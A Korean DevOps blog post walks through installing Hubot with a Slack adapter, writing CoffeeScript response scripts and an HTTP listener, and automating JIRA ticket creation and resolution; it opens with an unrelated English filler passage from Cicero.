"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

1. hubot 소개

• Hubot 은 깃헙의 사내용으로 제작된 챗봇이지만, 많은 발전을 거듭하여 현재 오픈소스로 공개되어있습니다. Node 기반이며, Slack과 친화적입니다.
• 휴봇의 가장 큰 장점은 간단한 스크립트(CoffeeScript, JavaScript) 작성을 통해 강력한 기능을 추가할 수 있다는 점입니다.
• 특정 단어 혹은 문장에 따라 프로세스를 정의할 수 있습니다. 이미 구축된 스크립트들도 많이 공개 되어있어 손쉽게 스크립트를 추가하여 구현할 수 있습니다.

enterReplies = ['Hi', 'Target Acquired', 'Firing', 'Hello friend.', 'Gotcha', 'I see you']
leaveReplies = ['Are you still there?', 'Target lost', 'Searching']

module.exports = (robot) ->
  robot.enter (res) ->
    res.send res.random enterReplies
  robot.leave (res) ->
    res.send res.random leaveReplies

[출처] https://blog.hax0r.info/2017-05-14/slack-developer-kit-for-hubot/  [Hax0r blog]

• hubot-diagnostics: 간단한 기본기능들이 들어있다. 위에서 사용했던 ping을 이 모듈이 응답한 것이다. 그 외 time과 echo도 있다.
• hubot-help: 현재 hubot의 명령어들을 표시해준다. script들의 # Commands 들을 가져와서 뿌려주는 역할을 한다.
• hubot-pugme: 설명을 보면은 가장 중요한 휴봇 스크립트라고 적혀있다. 기능은 퍼그 이미지 url을 랜덤으로 가져오는 것이다. 하지만 2년이 지나서 그런지 url이 유효하지 않다.
• hubot-rules: hubot의 룰을 설명한다. > hubot rules으로 볼 수 있다.
• hubot-shipit: 가지고 있는 이미지URL중 랜덤으로 하나를 보내준다. hubot-pugme와 마찬가지로 유효한 URL이 별로 없다.
• hubot-heroku-keepalive: 무료 heroku를 사용할 경우 하루 사용시간 제한이 있기 때문에 필요한 것 같다.
• hubot-redis-brain: hubot의 brain기능을 redis로 이용하는 것이다. hubot-google-images와 hubot-google-translate는 이름에서도 알 수 있듯이 구글의 API키를 받아서 구글 서비스를 사용할 때 필요하다. hubot-maps도 구글의 맵서비스를 이용하는 것이다.

2. hubot 설치 및 설정

• node version : v16.17.0
• npm version : 8.15.0

2-1. hubot 설치

$ npm install -g yo generator-hubot

$ mkdir -p ~/apps/devops
$ cd ~/apps/devops
$ yo hubot --adapter=slack

2-2. hubot 설정

# external-script.json
[]

• hubot-heroku-keepalive
• hubot-redis-brain

# ~/apps/devops/node_modules/hubot/src/hubot.js
...
const port = process.env.EXPRESS_PORT || process.env.PORT || 8083
...

2-3. Slack 설정

2-4. Hubot 실행

$ HUBOT_SLACK_TOKEN=xoxb-... ./bin/hubot --adapter slack

3. hubot script 가이드

• Hubot Script Guide
  • .coffee 혹은 .js 파일로 작성이 가능합니다.

3-1. send/ reply / emote

# 경로에 script 작성 /apps/devops/scripts
# send : room으로 왔으면 room으로 전달, DM으로 오면 DM으로 전달
# reply : thread에 댓글 형식으로 메시지 전달
# emote : room으로 메시지 전달 
module.exports = (robot) -> 
  robot.hear /badger/i, (res) ->
    res.send "Badgers? BADGERS? WE DON'T NEED NO STINKIN BADGERS"

  robot.respond /open the pod bay doors/i, (res) ->
    res.reply "I'm afraid I can't let you do that."

  robot.hear /I like pie/i, (res) ->
    res.emote "makes a freshly baked pie"

3-2. messageRoom

# messageRoom 기능을 이용하여 지정된 방이나 사용자에게 메시지를 보낼 수 있습니다.
module.exports = (robot) ->
  robot.hear /green eggs/i, (res) ->
    room = "mytestroom"
    robot.messageRoom room, "I do not like green eggs and ham.  I do not like them sam-I-am."

  robot.respond /I don't like Sam-I-am/i, (res) ->
    room =  'joemanager'
    robot.messageRoom room, "Someone does not like Dr. Seus"
    res.reply  "That Sam-I-am\nThat Sam-I-am\nI do not like\nthat Sam-I-am"

  robot.hear /Sam-I-am/i, (res) ->
    room =  res.envelope.user.name
    robot.messageRoom room, "That Sam-I-am\nThat Sam-I-am\nI do not like\nthat Sam-I-am"

3-3. Capturing

# 정규식에 대해 들어오는 메시지를 처리할 수 있습니다. 
  robot.respond /open the (.*) doors/i, (res) ->
    doorType = res.match[1]
    if doorType is "pod bay"
      res.reply "I'm afraid I can't let you do that."
    else
      res.reply "Opening #{doorType} doors"

3-4. HTTP 호출하기

# Hubot은 3rd API들과 연계하기 위해서 HTTP 호출을 할 수 있습니다.
  data = JSON.stringify({
    foo: 'bar'
  })
  robot.http("https://midnight-train")
    .header('Content-Type', 'application/json')
    .post(data) (err, res, body) ->
      # your code here
      if err
        res.send "Encountered an error : ( #{err}"
        return
      # your code here, knowing it was successful   

      if res.statusCode isnt 200
        res.send "Request didn't come back HTTP 200 : ("
        return

      # RateLimit을 이용하여 호출량을 조절
      rateLimitRemaining = parseInt res.getHeader('X-RateLimit-Limit') if res.getHeader('X-RateLimit-Limit')
      if rateLimitRemaining and rateLimitRemaining < 1
        res.send "Rate Limit hit, stop believing for awhile"      

3-5. HTTP 수신기

# Hubot은 HTTP 요청을 처리하기 위한 익스프레스 웹 프레임워크에 대한 지원을 포함합니다. 
# 해당 포트로 정적파일 제공도 가능합니다.

module.exports = (robot) ->
  # the expected value of :room is going to vary by adapter, it might be a numeric id, name, token, or some other value
  robot.router.post '/hubot/chatsecrets/:room', (req, res) ->
    room   = req.params.room
    data   = if req.body.payload? then JSON.parse req.body.payload else req.body
    secret = data.secret

    robot.messageRoom room, "I have a secret: #{secret}"

    res.send 'OK'

# Curl을 이용하여 테스트
// raw json, must specify Content-Type: application/json
curl -X POST -H "Content-Type: application/json" -d '{"secret":"C-TECH Astronomy"}' http://127.0.0.1:8080/hubot/chatsecrets/general

// defaults Content-Type: application/x-www-form-urlencoded, must st payload=...
curl -d 'payload=%7B%22secret%22%3A%22C-TECH+Astronomy%22%7D' http://127.0.0.1:8080/hubot/chatsecrets/general

3-6. 기타 기능

# Randomize
lulz = ['lol', 'rofl', 'lmao']

res.send res.random lulz

# Detect Enter & Exit
enterReplies = ['Hi', 'Target Acquired', 'Firing', 'Hello friend.', 'Gotcha', 'I see you']
leaveReplies = ['Are you still there?', 'Target lost', 'Searching']

module.exports = (robot) ->
  robot.enter (res) ->
    res.send res.random enterReplies
  robot.leave (res) ->
    res.send res.random leaveReplies

# Brain 
robot.respond /have a soda/i, (res) ->
  # Get number of sodas had (coerced to a number).
  sodasHad = robot.brain.get('totalSodas') * 1 or 0

  if sodasHad > 4
    res.reply "I'm too fizzy.."

  else
    res.reply 'Sure!'

    robot.brain.set 'totalSodas', sodasHad+1
robot.respond /sleep it off/i, (res) ->
  robot.brain.set 'totalSodas', 0
  msg.reply 'zzzzz'

4. hubot 기능 구현

4-1. JIRA 자동 등록

module.exports = (robot) ->
  robot.respond /create TICKET(.*)/i, (msg) ->

    threadId = getThreadId(msg);
    title = ''
    for line in msg.message.text.split(/\r?\n/)
      console.log (line)
      if line.indexOf("*Summary : *") != -1
        title = line.replace /\*Summary \:\*/, ""
    if title == ''
      msg.send 'Faild to get the subject'
      return
    json =
      fields:
        project:
          key: "LNDO"
        summary: title,
        description: msg.message.text,
        issuetype:
          name: "_Task"
        labels: ["help_devops_thread"]
    json = JSON.stringify(json)    

    create_query = btsBaseUrl + "/rest/api/2/issue"
    auth = btoa("#{user}:#{password}")

    msg.http(create_query)
      .headers(Authorization: "Basic #{auth}", 'Content-Type': 'application/json')
      .post(json) (err, res, body) ->
        issueName = undefined
        if body
          returnJson = JSON.parse(body)
          if returnJson.hasOwnProperty('key')
            issueName = returnJson.key
        if err
          console.log 'Error!'
          console.log err
        if issueName == undefined
          console.log res
          msg.send 'Error on creation issue on BTS'
        else
          link = ''
          msg.send 'Create TICKET at ' + link
          threadCache[threadId] = {'lastUpdate': Date.now(), 'fsUpdate': Date.now(), 'BTS': issueName}
          fs.writeFileSync(threadDir + threadId, JSON.stringify(threadCache[threadId]))

4-2. JIRA 상태 업데이트

robot.respond /(.*)resolve TICKET(.*)/i, (msg) ->
    threadId = getThreadId(msg);
    getThreadCache(threadId);

    json =
      transition:
        id: "21"
      fields:
        resolution:
          name: "Done"
    json = JSON.stringify(json)

    BTS = threadCache[threadId]['BTS']
    resolve_query = btsBaseUrl + '/rest/api/2/issue/' + BTS + '/transitions?expand=transitions.fields&transitionId=21'
    auth = btoa("#{user}:#{password}")

    msg.http(resolve_query)
      .headers(Authorization: "Basic #{auth}", 'Content-Type': 'application/json')
      .post(json) (err, res, body) ->
        if body
          returnJson = JSON.parse(body)
          console.log(returnJson)
        if err
          console.log err
          msg.send 'There is an error reolsve ticket!'
        else
          link = ''
          msg.send 'Cloase BTS  at ' + link
          threadCache[threadId] = {'lastUpdate': Date.now(), 'fsUpdate': Date.now(), 'BTS': BTS}
          fs.writeFileSync(threadDir + threadId, JSON.stringify(threadCache[threadId]))

5. hubot 구성도

• Request Layer : Slack W/F를 통해서 요청하는 영역
• Slack - Hubot Layer : Slack의 W/F를 분석하여 Hubot 스크립트를 수행하는 영역
• InfraStructure Layer : Hubot과 연계되는 Tools가 위치하는 영역

6. 마치며..

함께 보면 좋은 글

• [DevOps] kubeadm upgrade를 통한 pod cidr 변경
• [DevOps] Nginx Rate Limit
• [DevOps] k8s monitoring with Datadog
• [DevOps] Istio virtualhost 사용법

The post [DevOps] Hubot 적용기 appeared first on WONIZZ.LOG.